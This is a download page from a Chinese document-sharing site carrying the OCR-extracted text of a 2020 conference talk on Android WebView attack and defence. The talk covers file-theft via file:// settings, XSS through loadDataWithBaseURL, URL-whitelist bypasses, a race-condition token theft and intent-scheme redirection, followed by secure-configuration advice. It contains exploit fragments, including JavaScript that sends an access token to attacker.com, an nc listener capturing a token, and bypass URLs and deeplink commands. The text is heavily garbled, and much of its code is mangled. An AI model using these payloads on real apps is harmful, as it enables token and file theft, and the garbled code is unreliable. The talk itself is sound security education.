欢迎来到三一办公! | 帮助中心 三一办公31ppt.com(应用文档模板下载平台)
三一办公
全部分类
  • 办公文档>
  • PPT模板>
  • 建筑/施工/环境>
  • 毕业设计>
  • 工程图纸>
  • 教育教学>
  • 素材源码>
  • 生活休闲>
  • 临时分类>
  • ImageVerifierCode 换一换
    首页 三一办公 > 资源分类 > DOCX文档下载  

    2020Android WebView安全攻防指南.docx

    • 资源ID:7147078       资源大小:246.71KB        全文页数:53页
    • 资源格式: DOCX        下载积分:5金币
    快捷下载 游客一键下载
    会员登录下载
    三方登录下载: 微信开放平台登录 QQ登录  
    下载资源需要5金币
    邮箱/手机:
    温馨提示:
    用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)
    支付方式: 支付宝    微信支付   
    验证码:   换一换

    加入VIP免费专享
     
    账号:
    密码:
    验证码:   换一换
      忘记密码?
        
    友情提示
    2、PDF文件下载后,可能会被浏览器默认打开,此种情况可以点击浏览器菜单,保存网页到桌面,就可以正常下载了。
    3、本站不支持迅雷下载,请使用电脑自带的IE浏览器,或者360浏览器、谷歌浏览器下载即可。
    4、本站资源下载后的文档和图纸-无水印,预览文档经过压缩,下载后原文更清晰。
    5、试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。

    2020Android WebView安全攻防指南.docx

    AndrOidWebVieW安全攻防指南2020 现工作于OPPO子午互联口安全实验室,heen id:heeeeen(曾用:小荷才露尖尖角) AndroidSecurityTopResearcher GOOgIePlayGPSRP致谢+ 演讲与文章 CNCERT2016:AndrOidAPP开放端口的安全 POC2018:HackingAndroidVoIPforFunandProfit BUndIe口水AndrOid序列化与反序列化不匹配漏洞详解 AndrOid中的特殊攻击面1.WebVieW攻击面2. WebVieW配置与使用3. WebViewUR1.校验4. WebView安全防御5. 总结1.WebVieW攻击面APP特殊攻击面:端口、网络协议WebVieW安全攻防发展:;二恭so1.mo历史漏洞AndrOid4.4之前,系统存在JaVaSCriPtlnterfaee接口,可被反射调用执行任意代码(RCE)CVE-2012-6636CVE-2014-1939案例:某地图叩P1.AN环境命令执行http:/<lip>:6677/androidamap?action=yyy&param2=value2&.&url=<evil-site>2. WebVieW的配置与使用 SetAllowFiIeAccess是否允许WebVieW访问文件, SetAllowFileAccessFromFiIeUR1.s(宽松同源策略)是否允许file域下的js访问别的file域下的文件,APlIeVe1.16及以后默认为faIseSetAllowuniversalAccessFromFiIeUR1.s(更加宽松的同源策略)是否允许file域下的js访问别的域,包括file:下的文件,APIlevel16及以后犬认为false:;二恭so1.mo任意文件窃取1(应用克隆)前提: setAllowFileAccess(true) setAllowFileAccessFromFileUR1.s(true)11SetAllowuniversalAccessFromFiIeUR1.s(true)操纵WebVieW加载file:sdcard(也有可能操纵用户点击后无感知下载)下的恶意HTM1./JS,通过AJAX窃取xmlHttpRequest.open("GET",ufiledatadata<package>private-file11,false);:;二恭so1.mo任意文件窃取1(移花接木)只有SetAllOWFneACCeSS为TrUe(默认设置)呢?攻击APP受害APP1.操纵WebVjeW3.延时读取自身httpsbugs.chromium.org/p/chromium/issues/detail?id=144866任意文件窃取3(含沙射影)仍然只有SetAlIOWFiIeACCeSS为true攻击APP1.操纵WebVjeW软链接5.访问4.再次操纵WebVieW受害APP恶意网址6.PaylOad读取自身document.cooke效果,CoOkieS被污染控制WebVieW访问攻击者共享的Symlink.htmlpP4679:/data/data/com.zlwu.StealwebvlewflleviataintedCMkie9IS-Itotal36-rwxrvxn1M_al57drwxrwsrwx2u.a157(Jrwxrwsrvx2u0-al57drwxrwxrwx2uS-al57Irwxrwxrwx1ual57UeIl57315219-ll-27eal57cache40%2819-11-26u0.al57.cache4096219-ll-26Ue157u.al574896219-ll-26M2619-11-2610:5219:1219:1219:1219:12bridge.htalcachecode-cchesharedprefsynUk.taldatadtac(n.ziwu.webviewdpp/dpp.webview/CookiesKHt为布”的员示:<h<>Md>t×><fy>SQlNformatAg<vA8£f?IatMoCOotUMOOalUMCREATETAMfcv*v(cw*>on_*cINTEGeANOTNU1.Uost.kyTEXTNOTNU1.1.amTEXTNOTNU1.VVaiueTtXTNOTNU1.1.pethTEXTNOTNU1.1.MpifM.UlCIHTtGlftNOTNUl5MCureMTEGCRNOTNU1.ljs.httponiyMEURNOTNulUM1.cc*ZiXCMTCGCfIMnNU1.1.hs.npe*WfTEGfRNOIMIDCFAUlT1.2<pWtEINUGtRNOTNU1.1.DtMU1.TI4)noneyIN1EGCRNOTNUU.OCFAmrtncryp*d.vtueSloeOCFAU1.T'.ftr*tprryonlyIHTEGFRNOTNUUDCFAiATO1UNKXM(hot.teey.nm.pth)>Aindn*ql>a.Motndei.cootcteufcoc*(*fA/tab4ef11c<amMaCRtATETAB1.1.EXWrIONGVARCHARNOTNU1.1.UNIOU1.PRIMARYK(V.vvhjvIONQVARCHAR).MdMsqMt.autndenw<a.1meu-Oi-:IM1.eomDabbte-m*n1危险的IoadDataWithBaSeUR1.域名和内容同时可控,则可构造任意域下的XSS1publicvoidIoadDataWithBaseUR1.(String2345String,StringmimeTyezStringencoding,StringhistoryUrl)案例:Ge)OgIePlay某流行APP一系列deeplink导致WebVieW加载任意UHvictim-app:/c/receipt?url=url,原本用于调用GoogIeDoC服务预览Pdf在网页中点击deeplink攻击者可控!IrootelocalhostsMfnc-Ivvp88881.isteningon0.0.0.0(family0,port8888)Connectionfromgoogle-proxy-64-233-172-171.googI58673received!GET"accessOken=32yr"*h75HTTP/1.1Host:172.104.240.45:8888Connection:keep-aliveUser-Agent:MOZilla/5.0(compatible;GoogleAppsViewer;)IACCePt-Encoding:gzip,deflate.br:;二恭sacEmo案例:Ge)OgIePlay某流行APPdeeplink力口载任意fragment,转化为WebVieWIOadDataWithBaSeUR1.漏洞利用 ViCtim-app:/c/contact/2?fragmen_class=fragment可启动任意fragment,并可通过IntentEXtra传参, 寻找到一个带WebVieW的Fragment:GOOgIeM叩WebVieWFragment 可污染IOadDataWithBaSeUR1.的前两个参数,构造ViC域下的XSSwebview.loadDataWithBaselIR1.(11,google-map.htm,texthtm,.);<scriptsrc=11?v=3,exp&sensor=false&language=1.ANGTOKEN&region=REGIONTOKENH></script>生SOCEIJE安全建议基本配置 setAllowFileAccess(false) setAllowFileAccessFromFileUR1.s(false) setAllowUniveralAccessFromFilellR1.s(false) setAllowContentAccess(false) 加载确定的HTM1.,可使用asset1111录WebSettingsWebSettings=webView.getSettings();WebSettings.SetAllowFileAccess(false);webView.IoadUrl(11file:IIIandroid_asset/sample/index.html11); 防范皿录穿越,对文件名进行过滤 尽量不使用IOadDataWithBaSeUrl3. WebViewUR1.校验基本问题1 if(checkDomain(url)2 GnablejavaScriptInterface();/或者WbViw.load(url):;二落sarCD一个简单案例1 if(url.StartsWith(11file:/11)2 SetJavaScriptEnbled(false);3 else4 SetJavaScriptEnabled(true);5 )有多种绕过方法:, 大写字母:"File:"* 前面加个空格:"file:” 字符编码:"file%2F” 可正常访问的畸形路径:f,filersdcardattackhtm,或i,filezVsdcardattack.htm,if(Uri.parse(Url).getScheme(),equals工gnoreCase("file”):;二落socmo常uH校验失效endWith未闭合点号 绕过: 修复:endsWith("")if(host.endsWith(11)enableJavascriptInterface()绕过:使用StartSWith、contains、indexf、正贝J匹酉己等3F严格字符串匹酉己1 if(host.StartsWith(")2 enableJavascriptInterface()3 ):;二案S11CBIJUri系统漏洞绕过:CVE-2017-13274绕过1UriString1111;2 Stringhost=Uri.parse(uriString).getHost();3 1.og.d(11Wow11,host);4 if(host.equals(11www.m11)host.endsWith(11)IIhost.StartsWith(11www.mysitecom11)5 mVulWebViewUriBug.IoadUrl(uriString);6 )通过host校验正确:WebView.loadUrl正确加载,将识别为'http:/www.bing.eom/1105511055DWow:错误:Uri.parse未对"进行处理,未按照WhatWG规范将识别为Path的开始,将后面的内容视为host一些案例 某视频编辑app:UrI校验绕过(修复两次)amstart-<package>.HttpHookHadler-d"https: 某音乐app:通过deeplink控制UH参数绕过 amstart-aandroid.intent.action.VIEW-d十victim:/internal/notification_webview/https%3A%2f% 某聊天app:逻辑问题amstart-aandroid.intent.action.VIEW-dapp将该字符替换为https:WWWUR1.SCheme绕过检查了host,但未检查SCheme,可以通过“javascript:"绕过1 uriString="javascript:/2 Stringhost=Uri.parse(uriString).getHost();3 1.og.d(,Wow11,host);4 if(host.equals(n)host.endsWith(11)host.StartsWith(”)mVulWebViewUriBug.IoadUrl(uriString);1实际加载js代码2window.location.href=,http:/,也可以通过file:WWWsdcardevi1.html绕过,某些版本WebVieW可正常解析为file:/SdCard/evil.html生SOCEOEO反射构造hearachicalUri绕过直接从外部取Uri,未经过Uri.parse2 Uriuri=getIntent().getData();3 booleanIsOurDomain=,https11.equals(uri.getScheme()&&uri,getUserlnfo()=null&&11.equals(uri.getHost();4 if(IsOurDomain)5 mVulWebViewUriBug.IoadUrl(uritoString();6 1authoritypathSlrtngUn反射构造hearachicalUri绕过通过反射传入一个SCheme、authoritiy和Path构造一个形式为http:/attackercom的HieraChiCaIUri实例即可绕过Objectauthority=partconstructor.newlnstance(,11j“”);Objectpath=pathPartConstructor.newInstance(H","");uri=(Uri)hieraPchicalUriConstructor.newlnstance(11httpshjauthority,path,null,null);:;二落socmo利用服务端跳转漏洞绕过白名单域名内的服务端出现跳转漏洞时,仍然可以通过检查,并调用javascriptinterface此时可以在ShOUldoVerideUHIOading函数中拦截跳转,对跳转的UH进行检查1publicbooleanShouldOverrideUrl1.oading(WebViewview,WebResourceRequestrequest)23if(CheckDomain(request.getUrl().toString()4returnfalse;/通过检查,允许跳转5 )6 returntrue;/未通过检查,允许跳转7 )1. classjsCall2. Stringm_curUrl;3. DavascriptInterface4. publicStringgetToken()5. if()6. returnaccess_token;7. else8. returnnull;9.10. 11.12. publicvoidsetCurUrl(Stringurl)13. m_curUrl=url;14. 利用竞争条件绕过UR1.校验漏洞特征:在jsCall的敏感函数中校验UH,但使用设置mCurllrl1 publicvoidOnPageStarted(WebViewview,Stringurl,Bitmapfavicon)2 jobj.SetCurUrl(url);34 )89101112itecom1<script>23,456vartest=function()vartokenjscall.getToken();tp:/(attacker.COm?POken="+token;1314<script>修复:从回调函数的WebVieW参数取Uri设置mCurllrl漏洞利用通过设置跳转,onPageStarted/shouldOverideUH1.oading被回调,此时mCurUH已经被改写成白名单域名在当前口面的DoM还没被销毁的间隙(PoC反复去尝试),test函数可以成功执行,调用特权接口恶意JS位于attacker.Comif(!token.includes(,unde')document.location.href=11ht;for(i=0;i<1000;i+÷)SetTimeout(test,50+i);)document.location.href=11http:/mys/inwhitelist生SOCEOEOIntentSCheme校验问题WebVieW也可能处理intentscheme,若校验不严,攻击者可r构造Intent,形成Intentredirection1 mVulWebViewIntentScheme.SetWebViewClient(newWebViewClient()2 Override3 publicbooleanShouldOverrideUrl1.oaciing(WebViewview,WebResourceRequestrequest)4 Uriuri=request.getUrl();5 1.og.d(11vulw11ruri.toString();6 if(request.getUrl().getScheme().equals(11intent11)7 try(8 Intentintent=Intent.parseUri(uri.toString(),Intent.URI_INTENT_SCHEME);9 StartActivity(intent);安全的UR1.校验CheCkDomain的使用位置 WebVieW加载前 WebVieW跳转前 在JaVaSCriPtInterfaCe接口中 在JS回调函数中落SOCEDED接口级别的UR1.校验,建议采用JSBridge1. publicclassJsBridgeWebChromeClientextendsWebChromeClient2.3. 0verride4. publicfinalbooleanOnJsPrompt(WebViewview.StringUr1,Stringmessage,Stringdefaultvalue,DsPromptResultresult)5. result.confirm();6. if(CheckDomain(Url)78. DsCallDava.newlnstance().call(View,message);9. returntrue;10. else11. returntrue;1213.UR1.校验函数privatebooleanCheckDomain(Stringurl)2.1.SCheme检查,建议只允许if(!url.startsWith("http:/")&&!Ur1.startsWith("https:/")/对SChenle进行检置httpsreturnfalse;StringWhite1.ist=newString".Whitedomainl.c*.URIjava-url=null;try一","");2.使用.URIl.java-url=.URI(urITnndroTBcatch(.URlSyntaxExceptione)returnfalse;.URI对UrI字:13.15.16.StringInputDomain=java_url.getHost();送妆1.og.d(Secret.TAG,"inputDomain:"+InputDomain);for(StringWhiteDomainjwhite1.ist)3.通过getHost获取hostPath11JWPath()获取17.18.19.WhiteDomain=WhiteDomain.StartsWith(?WhiteDomain:"."+WhiteDomain;if(InputDomaln.endsWith(WhiteDonain)对host进行检,不要漏掉域名前面的点20.returntrue;21.22.returnfalse;23.4.使用endsWith校验,应包含域名前面的点IntentSCheme校验建议写法1. 解析ntentSchemeUR1.2. Intentintent=Intent.parseUri(urijflags);3. 禁止打开没有BRoWSAB1.E标签的ACtiVity4. intent.addCategory("android.intent.category.BROWSAB1.E11);5. /禁止设置intent的组件6. intent.SetComponent(null);7. /禁止设置intent的SeleCtC)P8. intent.setselector(null);9. 打开intent指向的activity10. context.StartActivityIfNeeded(intentj-1);UR1.校验的安全审计点加载UR1.的函数loadUrl/loadData/loadDataWithBaseUR1./evaluateJavascriptWebVieWelient回调函数shouldOverridellrl1.oading/shouldlnterceptRequest/onPageStartedWebVieWChromeCIient回调函数(JSBridge常用)onJsPrompt/onJsAlert下载监听函数,关注下载对文件名的处理SetDownIoad1.istenerIntentParSeUri函数UR1.2解析通讯内容IAndroidPrOmPt接口回调通讯内容webviewJSAPl调用协议头:WebBridge-方法名参数列表J回谑困数UR1.AP博级3白名单校验-£5提交方法调用到线程执行池4查询已经注册的方法4.WebVieW安全防御构建一个WebVieW安全SDK安全基线基于WebVieW安全基线对WebVieW默认配置云控下发安全基线和白名单配置JsBridgeJSAPI:;二恭SOCE0g4.WebView安全防御细粒度白名单校验基于UR1./path、以及方法名进行白名单校验权限分级口面根据申请的权限生成UR1.:API1.ist)的方式构建调用列表,端可以使用权限分级,分割不同等级的叩i权限。5.总结WebvieW安全,本地攻击面与远程攻击面WebVieW的配置与使用形形色fi的UR1.校验问题WebVieW使用原则 内容可信 特权最小 使用标准接口致谢 OPPO子午互联口安全实验室的小伙伴 bagipro:GoldentechniquestobypasshostvalidationsinAndroidapps,rebeyond:一文彻底搞懂安卓WebVieW白名单校验 Deagle:绕过AndrOid域名白名单校验的方法 瘦蛟舞:IntentschemeUR1.attack KC

    注意事项

    本文(2020Android WebView安全攻防指南.docx)为本站会员(李司机)主动上传,三一办公仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知三一办公(点击联系客服),我们立即给予删除!

    温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载不扣分。




    备案号:宁ICP备20000045号-2

    经营许可证:宁B2-20210002

    宁公网安备 64010402000987号

    三一办公
    收起
    展开